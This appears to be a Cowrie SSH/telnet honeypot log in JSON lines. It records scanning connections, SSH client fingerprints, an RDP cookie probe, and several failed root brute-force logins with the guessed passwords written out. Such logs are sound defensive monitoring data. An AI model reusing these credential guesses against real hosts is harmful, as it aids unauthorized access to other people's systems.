{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56212,"dst_ip":"10.17.0.5","dst_port":23,"session":"acf25f8da6f6","protocol":"telnet","message":"New connection: 152.42.224.71:56212 (10.17.0.5:23) [session: acf25f8da6f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:53:19.012704Z"}
{"eventid":"cowrie.session.closed","duration":48.4929404258728,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:53:20.076890Z","src_ip":"152.42.224.71","session":"9ba6cc195d91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57534,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc235da31d34","protocol":"telnet","message":"New connection: 152.42.224.71:57534 (10.17.0.5:23) [session: fc235da31d34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:53:26.107782Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":55058,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2b5ad9c4e65","protocol":"ssh","message":"New connection: 194.113.233.25:55058 (159.203.135.109:22) [session: b2b5ad9c4e65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:53:30.892907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:53:30.897643Z","src_ip":"194.113.233.25","session":"b2b5ad9c4e65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:53:30.991350Z","src_ip":"194.113.233.25","session":"b2b5ad9c4e65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3151020","message":"login attempt [root/3151020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:53:31.274734Z","src_ip":"194.113.233.25","session":"b2b5ad9c4e65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:53:32.373894Z","src_ip":"194.113.233.25","session":"b2b5ad9c4e65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57548,"dst_ip":"10.17.0.5","dst_port":23,"session":"6065da282ecc","protocol":"telnet","message":"New connection: 152.42.224.71:57548 (10.17.0.5:23) [session: 6065da282ecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:53:32.770213Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57550,"dst_ip":"10.17.0.5","dst_port":23,"session":"872d826a0445","protocol":"telnet","message":"New connection: 152.42.224.71:57550 (10.17.0.5:23) [session: 872d826a0445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:53:33.826698Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":58981,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4888b879d79","protocol":"ssh","message":"New connection: 152.42.212.128:58981 (10.17.0.5:22) [session: f4888b879d79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:53:35.647093Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:53:35.651669Z","src_ip":"152.42.212.128","session":"f4888b879d79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:53:35.654654Z","src_ip":"152.42.212.128","session":"f4888b879d79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.63763880729675,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:53:43.595231Z","src_ip":"152.42.224.71","session":"f89ebd196577","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.71607303619385,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:53:44.492569Z","src_ip":"152.42.224.71","session":"3367f0dcc01f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.101919412612915,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:53:53.573672Z","src_ip":"152.42.224.71","session":"cc74b0402b04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57698,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e4d640dec93","protocol":"telnet","message":"New connection: 152.42.224.71:57698 (10.17.0.5:23) [session: 7e4d640dec93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:53:56.000465Z"}
{"eventid":"cowrie.session.closed","duration":45.754242181777954,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:53:58.632776Z","src_ip":"152.42.224.71","session":"77d579c8f59e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59864,"dst_ip":"10.17.0.5","dst_port":23,"session":"41897c9694ea","protocol":"telnet","message":"New connection: 152.42.224.71:59864 (10.17.0.5:23) [session: 41897c9694ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:54:18.308634Z"}
{"eventid":"cowrie.session.closed","duration":113.6679630279541,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:54:20.479064Z","src_ip":"152.42.224.71","session":"ce23eef81d61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.54929065704346,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:54:20.561866Z","src_ip":"152.42.224.71","session":"acf25f8da6f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.86267685890198,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:54:22.632773Z","src_ip":"152.42.224.71","session":"6065da282ecc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01523971557617,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:54:23.525133Z","src_ip":"152.42.224.71","session":"e1d408babb80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.16807842254639,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:54:31.994667Z","src_ip":"152.42.224.71","session":"872d826a0445","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45422,"dst_ip":"10.17.0.5","dst_port":23,"session":"03b0f2f0a7fa","protocol":"telnet","message":"New connection: 152.42.224.71:45422 (10.17.0.5:23) [session: 03b0f2f0a7fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:54:38.869684Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45426,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e38adad243d","protocol":"telnet","message":"New connection: 152.42.224.71:45426 (10.17.0.5:23) [session: 0e38adad243d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:54:39.882679Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45434,"dst_ip":"10.17.0.5","dst_port":23,"session":"93da57c6ba89","protocol":"telnet","message":"New connection: 152.42.224.71:45434 (10.17.0.5:23) [session: 93da57c6ba89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:54:45.342076Z"}
{"eventid":"cowrie.session.closed","duration":50.851479291915894,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:54:46.851841Z","src_ip":"152.42.224.71","session":"7e4d640dec93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35302,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bfe2e6ec316","protocol":"telnet","message":"New connection: 152.42.224.71:35302 (10.17.0.5:23) [session: 3bfe2e6ec316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:54:47.948661Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35312,"dst_ip":"10.17.0.5","dst_port":23,"session":"71812782823e","protocol":"telnet","message":"New connection: 152.42.224.71:35312 (10.17.0.5:23) [session: 71812782823e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:54:48.912349Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35322,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ff7bde2a839","protocol":"telnet","message":"New connection: 152.42.224.71:35322 (10.17.0.5:23) [session: 7ff7bde2a839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:54:50.075523Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53610,"dst_ip":"10.17.0.5","dst_port":23,"session":"d24cd5336d61","protocol":"telnet","message":"New connection: 152.42.224.71:53610 (10.17.0.5:23) [session: d24cd5336d61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:55:01.120380Z"}
{"eventid":"cowrie.session.closed","duration":111.66543054580688,"message":"Connection lost after 111 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:55:02.704802Z","src_ip":"152.42.224.71","session":"f50ed58bda3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":37620,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5ed490dac9c","protocol":"ssh","message":"New connection: 103.153.68.219:37620 (159.203.135.109:22) [session: d5ed490dac9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:55:07.961885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:55:07.966638Z","src_ip":"103.153.68.219","session":"d5ed490dac9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:55:08.222594Z","src_ip":"103.153.68.219","session":"d5ed490dac9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.98972511291504,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:55:08.298231Z","src_ip":"152.42.224.71","session":"41897c9694ea","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"holopi123","message":"login attempt [root/holopi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:55:08.999072Z","src_ip":"103.153.68.219","session":"d5ed490dac9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:55:10.257832Z","src_ip":"103.153.68.219","session":"d5ed490dac9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56376,"dst_ip":"10.17.0.5","dst_port":23,"session":"c93bc695ae8c","protocol":"telnet","message":"New connection: 152.42.224.71:56376 (10.17.0.5:23) [session: c93bc695ae8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:55:22.352296Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56370,"dst_ip":"10.17.0.5","dst_port":23,"session":"d29df3b2c8d3","protocol":"telnet","message":"New connection: 152.42.224.71:56370 (10.17.0.5:23) [session: d29df3b2c8d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:55:23.209352Z"}
{"eventid":"cowrie.session.closed","duration":36.11371564865112,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:55:24.062257Z","src_ip":"152.42.224.71","session":"3bfe2e6ec316","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00337719917297,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:55:26.111036Z","src_ip":"152.42.224.71","session":"fc235da31d34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40170,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c0f4590571c","protocol":"telnet","message":"New connection: 152.42.224.71:40170 (10.17.0.5:23) [session: 0c0f4590571c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:55:29.512091Z"}
{"eventid":"cowrie.session.closed","duration":46.39671611785889,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:55:31.738685Z","src_ip":"152.42.224.71","session":"93da57c6ba89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.454209089279175,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:55:32.323776Z","src_ip":"152.42.224.71","session":"03b0f2f0a7fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.27060031890869,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:55:33.346022Z","src_ip":"152.42.224.71","session":"7ff7bde2a839","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":35456,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ebb402e33fb","protocol":"ssh","message":"New connection: 103.77.175.15:35456 (10.17.0.5:22) [session: 5ebb402e33fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:55:38.982415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:55:38.988452Z","src_ip":"103.77.175.15","session":"5ebb402e33fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:55:39.236945Z","src_ip":"103.77.175.15","session":"5ebb402e33fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ntktajy","message":"login attempt [root/ntktajy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:55:40.245906Z","src_ip":"103.77.175.15","session":"5ebb402e33fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:55:41.501518Z","src_ip":"103.77.175.15","session":"5ebb402e33fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60390,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfb041ded978","protocol":"telnet","message":"New connection: 152.42.224.71:60390 (10.17.0.5:23) [session: bfb041ded978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:55:42.294351Z"}
{"eventid":"cowrie.session.closed","duration":65.5618667602539,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:55:45.444444Z","src_ip":"152.42.224.71","session":"0e38adad243d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":50864,"dst_ip":"10.17.0.5","dst_port":22,"session":"12e7f5f10139","protocol":"ssh","message":"New connection: 62.133.62.83:50864 (10.17.0.5:22) [session: 12e7f5f10139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:55:49.586700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:55:49.589903Z","src_ip":"62.133.62.83","session":"12e7f5f10139","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:55:49.671606Z","src_ip":"62.133.62.83","session":"12e7f5f10139","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaaaaaaaaa","message":"login attempt [root/aaaaaaaaaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:55:49.912672Z","src_ip":"62.133.62.83","session":"12e7f5f10139","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:55:51.020113Z","src_ip":"62.133.62.83","session":"12e7f5f10139","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.423609495162964,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:55:56.717878Z","src_ip":"152.42.224.71","session":"bfb041ded978","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54664,"dst_ip":"10.17.0.5","dst_port":23,"session":"e06f1b2ce9b9","protocol":"telnet","message":"New connection: 152.42.224.71:54664 (10.17.0.5:23) [session: e06f1b2ce9b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:55:58.802710Z"}
{"eventid":"cowrie.session.closed","duration":30.784453868865967,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:56:00.296361Z","src_ip":"152.42.224.71","session":"0c0f4590571c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54666,"dst_ip":"10.17.0.5","dst_port":23,"session":"53d0e7345a60","protocol":"telnet","message":"New connection: 152.42.224.71:54666 (10.17.0.5:23) [session: 53d0e7345a60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:56:01.555076Z"}
